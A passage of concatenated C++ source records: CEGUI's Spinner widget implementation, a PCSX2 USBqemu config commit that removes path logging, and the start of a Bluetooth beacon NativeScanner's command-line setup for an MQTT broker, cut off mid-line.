PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/widgets\/Spinner.h\"\n#include \"CEGUI\/widgets\/PushButton.h\"\n#include \"CEGUI\/widgets\/Editbox.h\"\n#include \"CEGUI\/Exceptions.h\"\n#include \"CEGUI\/WindowManager.h\"\n#include <stdio.h>\n#include <sstream>\n#include <iomanip>\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n    const String Spinner::WidgetTypeName(\"CEGUI\/Spinner\");\n\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/ event strings\n    const String Spinner::EventNamespace(\"Spinner\");\n    const String Spinner::EventValueChanged(\"ValueChanged\");\n    const String Spinner::EventStepChanged(\"StepChanged\");\n    const String Spinner::EventMaximumValueChanged(\"MaximumValueChanged\");\n    const String Spinner::EventMinimumValueChanged(\"MinimumValueChanged\");\n    const String Spinner::EventTextInputModeChanged(\"TextInputModeChanged\");\n    \/\/ Validator strings\n    const String Spinner::FloatValidator(\"-?\\\\d*\\\\.?\\\\d*\");\n    const String Spinner::IntegerValidator(\"-?\\\\d*\");\n    const String Spinner::HexValidator(\"[0-9a-fA-F]*\");\n    const String Spinner::OctalValidator(\"[0-7]*\");\n    \/\/ component widget name strings\n    const String Spinner::EditboxName( \"__auto_editbox__\" );\n    const String Spinner::IncreaseButtonName( \"__auto_incbtn__\" );\n    const String Spinner::DecreaseButtonName( \"__auto_decbtn__\" );\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n    Spinner::Spinner(const String& type, const String& name) :\n        Window(type, name),\n        d_stepSize(1.0f),\n        d_currentValue(1.0f),\n        d_maxValue(32767.0f),\n        d_minValue(-32768.0f),\n        d_inputMode((TextInputMode)-1)\n    {\n        addSpinnerProperties();\n    }\n\n    Spinner::~Spinner(void)\n    {\n        \/\/ Nothing to do here.\n    }\n\n    void Spinner::initialiseComponents(void)\n    {\n        \/\/ get all the component widgets\n        PushButton* increaseButton = getIncreaseButton();\n        PushButton* decreaseButton = getDecreaseButton();\n        Editbox* editbox = getEditbox();\n\n        \/\/ setup component controls\n        increaseButton->setPointerAutoRepeatEnabled(true);\n        decreaseButton->setPointerAutoRepeatEnabled(true);\n\n        \/\/ perform event subscriptions.\n        increaseButton->subscribeEvent(Window::EventPointerPressHold, Event::Subscriber(&Spinner::handleIncreaseButton, this));\n        decreaseButton->subscribeEvent(Window::EventPointerPressHold, Event::Subscriber(&Spinner::handleDecreaseButton, this));\n        editbox->subscribeEvent(Window::EventTextChanged, Event::Subscriber(&Spinner::handleEditTextChange, this));\n\n        \/\/ final initialisation\n        setTextInputMode(Integer);\n        setCurrentValue(0.0f);\n        performChildWindowLayout();\n    }\n\n    double Spinner::getCurrentValue(void) const\n    {\n        return d_currentValue;\n    }\n\n    double Spinner::getStepSize(void) const\n    {\n        return d_stepSize;\n    }\n\n    double Spinner::getMaximumValue(void) const\n    {\n        return d_maxValue;\n    }\n\n    double Spinner::getMinimumValue(void) const\n    {\n        return d_minValue;\n    }\n\n    Spinner::TextInputMode Spinner::getTextInputMode(void) const\n    {\n        return d_inputMode;\n    }\n\n    void Spinner::setCurrentValue(double value)\n    {\n        if (value != d_currentValue)\n        {\n            \/\/ limit input value to within valid range for spinner\n            value = ceguimax(ceguimin(value, d_maxValue), d_minValue);\n\n            d_currentValue = value;\n\n            WindowEventArgs args(this);\n            onValueChanged(args);\n        }\n    }\n\n    void Spinner::setStepSize(double step)\n    {\n        if (step != d_stepSize)\n        {\n            d_stepSize = step;\n\n            WindowEventArgs args(this);\n            onStepChanged(args);\n        }\n    }\n\n    void Spinner::setMaximumValue(double maxValue)\n    {\n        if (maxValue != d_maxValue)\n        {\n            d_maxValue = maxValue;\n\n            WindowEventArgs args(this);\n            onMaximumValueChanged(args);\n        }\n    }\n\n    void Spinner::setMinimumValue(double minVaue)\n    {\n        if (minVaue != d_minValue)\n        {\n            d_minValue = minVaue;\n\n            WindowEventArgs args(this);\n            onMinimumValueChanged(args);\n        }\n    }\n\n    void Spinner::setTextInputMode(TextInputMode mode)\n    {\n        if (mode != d_inputMode)\n        {\n            switch (mode)\n            {\n            case FloatingPoint:\n                getEditbox()->setValidationString(FloatValidator);\n                break;\n            case Integer:\n                getEditbox()->setValidationString(IntegerValidator);\n                break;\n            case Hexadecimal:\n                getEditbox()->setValidationString(HexValidator);\n                break;\n            case Octal:\n                getEditbox()->setValidationString(OctalValidator);\n                break;\n            default:\n                CEGUI_THROW(InvalidRequestException(\n                    \"An unknown TextInputMode was specified.\"));\n            }\n\n            d_inputMode = mode;\n\n            WindowEventArgs args(this);\n            onTextInputModeChanged(args);\n        }\n    }\n\n    void Spinner::addSpinnerProperties(void)\n    {\n        const String& propertyOrigin = WidgetTypeName;\n\n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"CurrentValue\", \"Property to get\/set the current value of the spinner.  Value is a float.\",\n            &Spinner::setCurrentValue, &Spinner::getCurrentValue, 0.0f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"StepSize\", \"Property to get\/set the step size of the spinner.  Value is a float.\",\n            &Spinner::setStepSize, &Spinner::getStepSize, 1.0f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"MinimumValue\", \"Property to get\/set the minimum value setting of the spinner.  Value is a float.\",\n            &Spinner::setMinimumValue, &Spinner::getMinimumValue, -32768.000000f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, double,\n            \"MaximumValue\", \"Property to get\/set the maximum value setting of the spinner.  Value is a float.\",\n            &Spinner::setMaximumValue, &Spinner::getMaximumValue, 32767.000000f\n        );\n        \n        CEGUI_DEFINE_PROPERTY(Spinner, Spinner::TextInputMode,\n            \"TextInputMode\", \"Property to get\/set the TextInputMode setting for the spinner.  Value is \\\"FloatingPoint\\\", \\\"Integer\\\", \\\"Hexadecimal\\\", or \\\"Octal\\\".\",\n            &Spinner::setTextInputMode, &Spinner::getTextInputMode, Spinner::Integer\n        );\n    }\n\n    double Spinner::getValueFromText(void) const\n    {\n        String tmpTxt(getEditbox()->getText());\n\n        \/\/ handle empty and lone '-' or '.' cases\n        if (tmpTxt.empty() || (tmpTxt == \"-\") || (tmpTxt == \".\"))\n        {\n            return 0.0f;\n        }\n\n        int res, tmp;\n        uint utmp;\n        double val;\n\n        switch (d_inputMode)\n        {\n        case FloatingPoint:\n            res = sscanf(tmpTxt.c_str(), \"%lf\", &val);\n            break;\n        case Integer:\n            res = sscanf(tmpTxt.c_str(), \"%d\", &tmp);\n            val = static_cast<double>(tmp);\n            break;\n        case Hexadecimal:\n            res = sscanf(tmpTxt.c_str(), \"%x\", &utmp);\n            val = static_cast<double>(utmp);\n            break;\n        case Octal:\n            res = sscanf(tmpTxt.c_str(), \"%o\", &utmp);\n            val = static_cast<double>(utmp);\n            break;\n        default:\n            CEGUI_THROW(InvalidRequestException(\n                \"An unknown TextInputMode was encountered.\"));\n        }\n\n        if (res)\n        {\n            return val;\n        }\n\n        CEGUI_THROW(InvalidRequestException(\n            \"The string '\" + getEditbox()->getText() +\n            \"' can not be converted to numerical representation.\"));\n    }\n\n    String Spinner::getTextFromValue(void) const\n    {\n        std::stringstream tmp;\n\n        switch (d_inputMode)\n        {\n        case FloatingPoint:\n            return CEGUI::PropertyHelper<float>::toString( static_cast<float>(d_currentValue) );\n            break;\n        case Integer:\n            tmp << static_cast<int>(d_currentValue);\n            break;\n        case Hexadecimal:\n            tmp << std::hex << std::uppercase << static_cast<int>(d_currentValue);\n            break;\n        case Octal:\n            tmp << std::oct << static_cast<int>(d_currentValue);\n            break;\n        default:\n            CEGUI_THROW(InvalidRequestException(\n                \"An unknown TextInputMode was encountered.\"));\n        }\n\n        return String(tmp.str().c_str());\n    }\n\n    void Spinner::onFontChanged(WindowEventArgs& e)\n    {\n        \/\/ Propagate to children\n        getEditbox()->setFont(getFont());\n        \/\/ Call base class handler\n        Window::onFontChanged(e);\n    }\n\n    void Spinner::onTextChanged(WindowEventArgs& e)\n    {\n        Editbox* editbox = getEditbox();\n\n        \/\/ update only if needed\n        if (editbox->getText() != getText())\n        {\n            \/\/ done before doing base class processing so event subscribers see\n            \/\/ 'updated' version.\n            editbox->setText(getText());\n            ++e.handled;\n\n            Window::onTextChanged(e);\n        }\n    }\n\n    void Spinner::onActivated(ActivationEventArgs& e)\n    {\n        if (!isActive())\n        {\n            Window::onActivated(e);\n\n            Editbox* editbox = getEditbox();\n\n            if (!editbox->isActive())\n            {\n                editbox->activate();\n            }\n        }\n    }\n\n    void Spinner::onValueChanged(WindowEventArgs& e)\n    {\n        Editbox* editbox = getEditbox();\n\n        \/\/ mute to save doing unnecessary events work.\n        bool wasMuted = editbox->isMuted();\n        editbox->setMutedState(true);\n\n        \/\/ Update text with new value.\n        \/\/ (allow empty and '-' cases to equal 0 with no text change required)\n        if (!(d_currentValue == 0 &&\n              (editbox->getText().empty() || editbox->getText() == \"-\")))\n        {\n            editbox->setText(getTextFromValue());\n        }\n        \/\/ restore previous mute state.\n        editbox->setMutedState(wasMuted);\n\n        fireEvent(EventValueChanged, e, EventNamespace);\n    }\n\n    void Spinner::onStepChanged(WindowEventArgs& e)\n    {\n        fireEvent(EventStepChanged, e, EventNamespace);\n    }\n\n    void Spinner::onMaximumValueChanged(WindowEventArgs& e)\n    {\n        fireEvent(EventMaximumValueChanged, e, EventNamespace);\n\n        if (d_currentValue > d_maxValue)\n        {\n            setCurrentValue(d_maxValue);\n        }\n    }\n\n    void Spinner::onMinimumValueChanged(WindowEventArgs& e)\n    {\n        fireEvent(EventMinimumValueChanged, e, EventNamespace);\n\n        if (d_currentValue < d_minValue)\n        {\n            setCurrentValue(d_minValue);\n        }\n    }\n\n    void Spinner::onTextInputModeChanged(WindowEventArgs& e)\n    {\n        Editbox* editbox = getEditbox();\n        \/\/ update edit box text to reflect new mode.\n        \/\/ mute to save doing unnecessary events work.\n        bool wasMuted = editbox->isMuted();\n        editbox->setMutedState(true);\n        \/\/ Update text with new value.\n        editbox->setText(getTextFromValue());\n        \/\/ restore previous mute state.\n        editbox->setMutedState(wasMuted);\n\n        fireEvent(EventTextInputModeChanged, e, EventNamespace);\n    }\n\n    bool Spinner::handleIncreaseButton(const EventArgs& e)\n    {\n        if (((const PointerEventArgs&)e).source == PS_Left)\n        {\n            setCurrentValue(d_currentValue + d_stepSize);\n            return true;\n        }\n\n        return false;\n    }\n\n    bool Spinner::handleDecreaseButton(const EventArgs& e)\n    {\n        if (((const PointerEventArgs&)e).source == PS_Left)\n        {\n            setCurrentValue(d_currentValue - d_stepSize);\n            return true;\n        }\n\n        return false;\n    }\n\n    bool Spinner::handleEditTextChange(const EventArgs&)\n    {\n        \/\/ set this windows text to match\n        setText(getEditbox()->getText());\n        \/\/ update value\n        setCurrentValue(getValueFromText());\n        return true;\n    }\n\n    PushButton* Spinner::getIncreaseButton() const\n    {\n        return static_cast<PushButton*>(getChild(IncreaseButtonName));\n    }\n\n    PushButton* Spinner::getDecreaseButton() const\n    {\n        return static_cast<PushButton*>(getChild(DecreaseButtonName));\n    }\n\n    Editbox* Spinner::getEditbox() const\n    {\n        return static_cast<Editbox*>(getChild(EditboxName));\n    }\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ End of  CEGUI namespace section\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/USB.h\"\n#include \"..\/configuration.h\"\n#include \"..\/deviceproxy.h\"\n#include \"..\/usb-pad\/padproxy.h\"\n#include \"..\/usb-mic\/audiosourceproxy.h\"\n\n#include <sstream>\n#include <map>\n#include <vector>\n#include <string>\n\n#include \"ini.h\"\n#include \"config.h\"\n\n\/\/libjoyrumble used as an example\n\/\/Hopefully PCSX2 has inited all the GTK stuff already\nusing namespace std;\n\nstatic std::string usb_path;\nstd::string IniDir;\nstd::string LogDir;\nconst char* iniFile = \"USBqemu-wheel.ini\";\n\nvoid SysMessage(const char *fmt, ...)\n{\n\tva_list arglist;\n\n\tva_start(arglist, fmt);\n\tvfprintf(stderr, fmt, arglist);\n\tva_end(arglist);\n}\n\nvoid CALLBACK USBsetSettingsDir( const char* dir )\n{\n\tfprintf(stderr, \"USBsetSettingsDir: %s\\n\", dir);\n\tIniDir = dir;\n}\n\nvoid CALLBACK USBsetLogDir( const char* dir )\n{\n\tprintf(\"USBsetLogDir: %s\\n\", dir);\n\tLogDir = dir;\n}\n\nbool LoadSettingValue(const std::string& ini, const std::string& section, const char* param, std::string& value)\n{\n\tchar tmp[4096] = {0};\n\tif (INILoadString(ini.c_str(), section.c_str(), param, tmp) != 0)\n\t\treturn false;\n\n\tvalue = tmp;\n\treturn true;\n}\n\nbool LoadSettingValue(const std::string& ini, const std::string& section, const char* param, int32_t& value)\n{\n\treturn INILoadUInt(ini.c_str(), section.c_str(), param, (unsigned int *)&value) == 0;\n}\n\nbool SaveSettingValue(const std::string& ini, const std::string& section, const char* param, std::string& value)\n{\n\treturn INISaveString(ini.c_str(), section.c_str(), param, value.c_str()) == 0;\n}\n\nbool SaveSettingValue(const std::string& ini, const std::string& section, const char* param, int32_t& value)\n{\n\treturn INISaveUInt(ini.c_str(), section.c_str(), param, (unsigned int)value) == 0;\n}\n\nbool LoadSetting(int port, const std::string& key, CONFIGVARIANT& var)\n{\n\tfprintf(stderr, \"USBqemu load \\\"%s\\\" from [%s %d]\\n\", var.name, key.c_str(), port);\n\n\tif (key.empty())\n\t\treturn false;\n\n\tstd::stringstream section;\n\tsection << key << \" \" << port;\n\n\tstd::string ini(IniDir);\n\tini.append(iniFile);\n\n\tswitch(var.type)\n\t{\n\t\tcase CONFIG_TYPE_INT:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.intValue);\n\t\t\/\/case CONFIG_TYPE_DOUBLE:\n\t\t\/\/\treturn LoadSettingValue(ini, section.str(), var.name, var.doubleValue);\n\t\tcase CONFIG_TYPE_TCHAR:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.tstrValue);\n\t\tcase CONFIG_TYPE_CHAR:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.strValue);\n\t\t\/\/case CONFIG_TYPE_WCHAR:\n\t\t\/\/\treturn LoadSettingValue(ini, section.str(), var.name, var.wstrValue);\n\t\tbreak;\n\t\tdefault:\n\t\t\tfprintf(stderr, \"Invalid config type %d for %s\\n\", var.type, var.name);\n\t\t\tbreak;\n\t};\n\treturn false;\n}\n\n\/**\n * \n * [devices]\n * portX = pad\n * \n * [pad X]\n * api = joydev\n * \n * [joydev X]\n * button0 = 1\n * button1 = 2\n * ...\n * \n * *\/\nbool SaveSetting(int port, const std::string& key, CONFIGVARIANT& var)\n{\n\tfprintf(stderr, \"USBqemu save \\\"%s\\\" to [%s %d]\\n\", var.name, key.c_str(), port);\n\n\tif (key.empty())\n\t\treturn false;\n\n\tstd::stringstream section;\n\tsection << key << \" \" << port;\n\n\tstd::string ini(IniDir);\n\tini.append(iniFile);\n\n\tswitch(var.type)\n\t{\n\t\tcase CONFIG_TYPE_INT:\n\t\t\treturn SaveSettingValue(ini, section.str(), var.name, var.intValue);\n\t\tcase CONFIG_TYPE_TCHAR:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.tstrValue);\n\t\tcase CONFIG_TYPE_CHAR:\n\t\t\treturn SaveSettingValue(ini, section.str(), var.name, var.strValue);\n\t\tbreak;\n\t\tdefault:\n\t\t\tfprintf(stderr, \"Invalid config type %d for %s\\n\", var.type, var.name);\n\t\t\tbreak;\n\t};\n\treturn false;\n}\n\nvoid SaveConfig() {\n\tfprintf(stderr, \"USB save config\\n\");\n\t\/\/char* envptr = getenv(\"HOME\");\n\t\/\/if(envptr == NULL)\n\t\/\/\treturn;\n\t\/\/char path[1024];\n\t\/\/snprintf(path, sizeof(path), \"%s\/.config\/PCSX2\/inis\/USBqemu-wheel.ini\", envptr);\n\tstd::string iniPath(IniDir);\n\tiniPath.append(iniFile);\n\tconst char *path = iniPath.c_str();\n\n\t\/\/fprintf(stderr, \"%s\\n\", path);\n\n\tINISaveString(path, N_DEVICES, N_DEVICE_PORT0, conf.Port0.c_str());\n\tINISaveString(path, N_DEVICES, N_DEVICE_PORT1, conf.Port1.c_str());\n\tINISaveUInt(path, N_DEVICES, N_WHEEL_TYPE0, conf.WheelType[0]);\n\tINISaveUInt(path, N_DEVICES, N_WHEEL_TYPE1, conf.WheelType[1]);\n\n\tfor (auto& k : changedAPIs)\n\t{\n\t\tCONFIGVARIANT var(N_DEVICE_API, CONFIG_TYPE_CHAR);\n\t\tvar.strValue = k.second;\n\t\tfprintf(stderr, \"Save apis: %s %s\\n\", k.first.second.c_str(), k.second.c_str());\n\t\tSaveSetting(k.first.first, k.first.second, var);\n\t}\n}\n\nvoid LoadConfig() {\n\tchar tmp[1024] = {0};\n\tfprintf(stderr, \"USB load config\\n\");\n\t\/\/char* envptr = getenv(\"HOME\");\n\t\/\/if(envptr == NULL)\n\t\/\/\treturn;\n\t\/\/char path[1024];\n\t\/\/sprintf(path, \"%s\/.config\/PCSX2\/inis\/USBqemu-wheel.ini\", envptr);\n\tstd::string iniPath(IniDir);\n\tiniPath.append(iniFile);\n\tconst char *path = iniPath.c_str();\n\n\tINILoadString(path, N_DEVICES, N_DEVICE_PORT0, tmp);\n\tconf.Port0 = tmp;\n\tINILoadString(path, N_DEVICES, N_DEVICE_PORT1, tmp);\n\tconf.Port1 = tmp;\n\tINILoadUInt(path, N_DEVICES, N_WHEEL_TYPE0, (u32*)&conf.WheelType[0]);\n\tINILoadUInt(path, N_DEVICES, N_WHEEL_TYPE1, (u32*)&conf.WheelType[1]);\n\n\t{\n\t\tauto instance = RegisterDevice::instance();\n\t\tCONFIGVARIANT tmpVar(N_DEVICE_API, CONFIG_TYPE_CHAR);\n\t\tLoadSetting(0, conf.Port0, tmpVar);\n\t\tstd::string api = tmpVar.strValue;\n\t\tauto dev = instance.Device(conf.Port0);\n\n\t\tif (dev && !dev->IsValidAPI(api))\n\t\t{\n\t\t\tauto apis = dev->APIs();\n\t\t\tif (!apis.empty())\n\t\t\t\tapi = *apis.begin();\n\t\t}\n\n\t\tif(api.size())\n\t\t\tchangedAPIs[std::make_pair(0, conf.Port0)] = api;\n\n\t\tLoadSetting(1, conf.Port1, tmpVar);\n\t\tapi = tmpVar.strValue;\n\n\t\tdev = instance.Device(conf.Port1);\n\t\tif (dev && !dev->IsValidAPI(api))\n\t\t{\n\t\t\tauto apis = dev->APIs();\n\t\t\tif (!apis.empty())\n\t\t\t\tapi = *apis.begin();\n\t\t}\n\n\t\tif(api.size())\n\t\t\tchangedAPIs[std::make_pair(1, conf.Port1)] = api;\n\t}\n}\n<commit_msg>linux\/config: remove log\/ini path logging<commit_after>#include \"..\/USB.h\"\n#include \"..\/configuration.h\"\n#include \"..\/deviceproxy.h\"\n#include \"..\/usb-pad\/padproxy.h\"\n#include \"..\/usb-mic\/audiosourceproxy.h\"\n\n#include <sstream>\n#include <map>\n#include <vector>\n#include <string>\n\n#include \"ini.h\"\n#include \"config.h\"\n\n\/\/libjoyrumble used as an example\n\/\/Hopefully PCSX2 has inited all the GTK stuff already\nusing namespace std;\n\nstatic std::string usb_path;\nstd::string IniDir;\nstd::string LogDir;\nconst char* iniFile = \"USBqemu-wheel.ini\";\n\nvoid SysMessage(const char *fmt, ...)\n{\n\tva_list arglist;\n\n\tva_start(arglist, fmt);\n\tvfprintf(stderr, fmt, arglist);\n\tva_end(arglist);\n}\n\nvoid CALLBACK USBsetSettingsDir( const char* dir )\n{\n\tIniDir = dir;\n}\n\nvoid CALLBACK USBsetLogDir( const char* dir )\n{\n\tLogDir = dir;\n}\n\nbool LoadSettingValue(const std::string& ini, const std::string& section, const char* param, std::string& value)\n{\n\tchar tmp[4096] = {0};\n\tif (INILoadString(ini.c_str(), section.c_str(), param, tmp) != 0)\n\t\treturn false;\n\n\tvalue = tmp;\n\treturn true;\n}\n\nbool LoadSettingValue(const std::string& ini, const std::string& section, const char* param, int32_t& value)\n{\n\treturn INILoadUInt(ini.c_str(), section.c_str(), param, (unsigned int *)&value) == 0;\n}\n\nbool SaveSettingValue(const std::string& ini, const std::string& section, const char* param, std::string& value)\n{\n\treturn INISaveString(ini.c_str(), section.c_str(), param, value.c_str()) == 0;\n}\n\nbool SaveSettingValue(const std::string& ini, const std::string& section, const char* param, int32_t& value)\n{\n\treturn INISaveUInt(ini.c_str(), section.c_str(), param, (unsigned int)value) == 0;\n}\n\nbool LoadSetting(int port, const std::string& key, CONFIGVARIANT& var)\n{\n\tfprintf(stderr, \"USBqemu load \\\"%s\\\" from [%s %d]\\n\", var.name, key.c_str(), port);\n\n\tif (key.empty())\n\t\treturn false;\n\n\tstd::stringstream section;\n\tsection << key << \" \" << port;\n\n\tstd::string ini(IniDir);\n\tini.append(iniFile);\n\n\tswitch(var.type)\n\t{\n\t\tcase CONFIG_TYPE_INT:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.intValue);\n\t\t\/\/case CONFIG_TYPE_DOUBLE:\n\t\t\/\/\treturn LoadSettingValue(ini, section.str(), var.name, var.doubleValue);\n\t\tcase CONFIG_TYPE_TCHAR:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.tstrValue);\n\t\tcase CONFIG_TYPE_CHAR:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.strValue);\n\t\t\/\/case CONFIG_TYPE_WCHAR:\n\t\t\/\/\treturn LoadSettingValue(ini, section.str(), var.name, var.wstrValue);\n\t\tbreak;\n\t\tdefault:\n\t\t\tfprintf(stderr, \"Invalid config type %d for %s\\n\", var.type, var.name);\n\t\t\tbreak;\n\t};\n\treturn false;\n}\n\n\/**\n * \n * [devices]\n * portX = pad\n * \n * [pad X]\n * api = joydev\n * \n * [joydev X]\n * button0 = 1\n * button1 = 2\n * ...\n * \n * *\/\nbool SaveSetting(int port, const std::string& key, CONFIGVARIANT& var)\n{\n\tfprintf(stderr, \"USBqemu save \\\"%s\\\" to [%s %d]\\n\", var.name, key.c_str(), port);\n\n\tif (key.empty())\n\t\treturn false;\n\n\tstd::stringstream section;\n\tsection << key << \" \" << port;\n\n\tstd::string ini(IniDir);\n\tini.append(iniFile);\n\n\tswitch(var.type)\n\t{\n\t\tcase CONFIG_TYPE_INT:\n\t\t\treturn SaveSettingValue(ini, section.str(), var.name, var.intValue);\n\t\tcase CONFIG_TYPE_TCHAR:\n\t\t\treturn LoadSettingValue(ini, section.str(), var.name, var.tstrValue);\n\t\tcase CONFIG_TYPE_CHAR:\n\t\t\treturn SaveSettingValue(ini, section.str(), var.name, var.strValue);\n\t\tbreak;\n\t\tdefault:\n\t\t\tfprintf(stderr, \"Invalid config type %d for %s\\n\", var.type, var.name);\n\t\t\tbreak;\n\t};\n\treturn false;\n}\n\nvoid SaveConfig() {\n\tfprintf(stderr, \"USB save config\\n\");\n\t\/\/char* envptr = getenv(\"HOME\");\n\t\/\/if(envptr == NULL)\n\t\/\/\treturn;\n\t\/\/char path[1024];\n\t\/\/snprintf(path, sizeof(path), \"%s\/.config\/PCSX2\/inis\/USBqemu-wheel.ini\", envptr);\n\tstd::string iniPath(IniDir);\n\tiniPath.append(iniFile);\n\tconst char *path = iniPath.c_str();\n\n\t\/\/fprintf(stderr, \"%s\\n\", path);\n\n\tINISaveString(path, N_DEVICES, N_DEVICE_PORT0, conf.Port0.c_str());\n\tINISaveString(path, N_DEVICES, N_DEVICE_PORT1, conf.Port1.c_str());\n\tINISaveUInt(path, N_DEVICES, N_WHEEL_TYPE0, conf.WheelType[0]);\n\tINISaveUInt(path, N_DEVICES, N_WHEEL_TYPE1, conf.WheelType[1]);\n\n\tfor (auto& k : changedAPIs)\n\t{\n\t\tCONFIGVARIANT var(N_DEVICE_API, CONFIG_TYPE_CHAR);\n\t\tvar.strValue = k.second;\n\t\tfprintf(stderr, \"Save apis: %s %s\\n\", k.first.second.c_str(), k.second.c_str());\n\t\tSaveSetting(k.first.first, k.first.second, var);\n\t}\n}\n\nvoid LoadConfig() {\n\tchar tmp[1024] = {0};\n\tfprintf(stderr, \"USB load config\\n\");\n\t\/\/char* envptr = getenv(\"HOME\");\n\t\/\/if(envptr == NULL)\n\t\/\/\treturn;\n\t\/\/char path[1024];\n\t\/\/sprintf(path, \"%s\/.config\/PCSX2\/inis\/USBqemu-wheel.ini\", envptr);\n\tstd::string iniPath(IniDir);\n\tiniPath.append(iniFile);\n\tconst char *path = iniPath.c_str();\n\n\tINILoadString(path, N_DEVICES, N_DEVICE_PORT0, tmp);\n\tconf.Port0 = tmp;\n\tINILoadString(path, N_DEVICES, N_DEVICE_PORT1, tmp);\n\tconf.Port1 = tmp;\n\tINILoadUInt(path, N_DEVICES, N_WHEEL_TYPE0, (u32*)&conf.WheelType[0]);\n\tINILoadUInt(path, N_DEVICES, N_WHEEL_TYPE1, (u32*)&conf.WheelType[1]);\n\n\t{\n\t\tauto instance = RegisterDevice::instance();\n\t\tCONFIGVARIANT tmpVar(N_DEVICE_API, CONFIG_TYPE_CHAR);\n\t\tLoadSetting(0, conf.Port0, tmpVar);\n\t\tstd::string api = tmpVar.strValue;\n\t\tauto dev = instance.Device(conf.Port0);\n\n\t\tif (dev && !dev->IsValidAPI(api))\n\t\t{\n\t\t\tauto apis = dev->APIs();\n\t\t\tif (!apis.empty())\n\t\t\t\tapi = *apis.begin();\n\t\t}\n\n\t\tif(api.size())\n\t\t\tchangedAPIs[std::make_pair(0, conf.Port0)] = api;\n\n\t\tLoadSetting(1, conf.Port1, tmpVar);\n\t\tapi = tmpVar.strValue;\n\n\t\tdev = instance.Device(conf.Port1);\n\t\tif (dev && !dev->IsValidAPI(api))\n\t\t{\n\t\t\tauto apis = dev->APIs();\n\t\t\tif (!apis.empty())\n\t\t\t\tapi = *apis.begin();\n\t\t}\n\n\t\tif(api.size())\n\t\t\tchangedAPIs[std::make_pair(1, conf.Port1)] = api;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n#include <string>\n#include <regex>\n#include <fstream>\n#include <sys\/stat.h>\n#include <Foundation\/Foundation.h>\n\/\/ http:\/\/tclap.sourceforge.net\/manual.html\n#include \"tclap\/CmdLine.h\"\n#include \"HCIDumpParser.h\"\n\nstatic HCIDumpParser parserLogic;\n\n#define STOP_MARKER_FILE \"STOP\"\n\ninline bool stopMarkerExists() {\n    struct stat buffer;\n    bool stop = (stat (STOP_MARKER_FILE, &buffer) == 0);\n    if(stop) {\n        printf(\"Found STOP marker file, will exit...\\n\");\n    }\n    return stop;\n}\nstatic long eventCount = 0;\nstatic long lastMarkerCheckTime = 0;\n\nextern \"C\" bool beacon_event_callback(const beacon_info *info) {\n    \/\/printf(\"beacon_event_callback(%s, code=%d)\\n\", info->uuid, info->code);\n    parserLogic.beaconEvent(info);\n    eventCount ++;\n    \/\/ Check for a termination marker every 1000 events or 5 seconds\n    bool stop = false;\n    long elapsed = info->time - lastMarkerCheckTime;\n    if((eventCount % 1000) == 0 || elapsed > 5000) {\n        lastMarkerCheckTime = info->time;\n        stop = stopMarkerExists();\n    }\n    return stop;\n}\n\nusing namespace std;\n\n\/**\n* A version of the native scanner that directly integrates with the bluez stack hcidump command rather than parsing\n* the hcidump output.\n*\/\nint main(int argc, const char **argv) {\n\n    printf(\"NativeScanner starting up...\\n\");\n    TCLAP::CmdLine cmd(\"NativeScanner command line options\", ' ', \"0.1\");\n    \/\/\n    TCLAP::ValueArg<std::string> scannerID(\"s\", \"scannerID\",\n            \"Specify the ID of the scanner generating the beacon events\",\n            true, \"DEFAULT\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> rawDumpFile(\"d\", \"rawDumpFile\",\n            \"Specify a path to an hcidump file to parse for testing\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> clientID(\"c\", \"clientID\",\n            \"Specify the clientID to connect to the MQTT broker with\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> username(\"u\", \"username\",\n            \"Specify the username to connect to the MQTT broker with\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> password(\"p\", \"password\",\n            \"Specify the password to connect to the MQTT broker with\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> brokerURL(\"b\", \"brokerURL\",\n            \"Specify the brokerURL to connect to the MQTT broker with; default tcp:\/\/localhost:1883\",\n            false, \"tcp:\/\/localhost:1883\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> topicName(\"t\", \"topicName\",\n            \"Specify the name of the queue on the MQTT broker to publish to; default beaconEvents\",\n            false, \"beaconEvents\", \"string\", 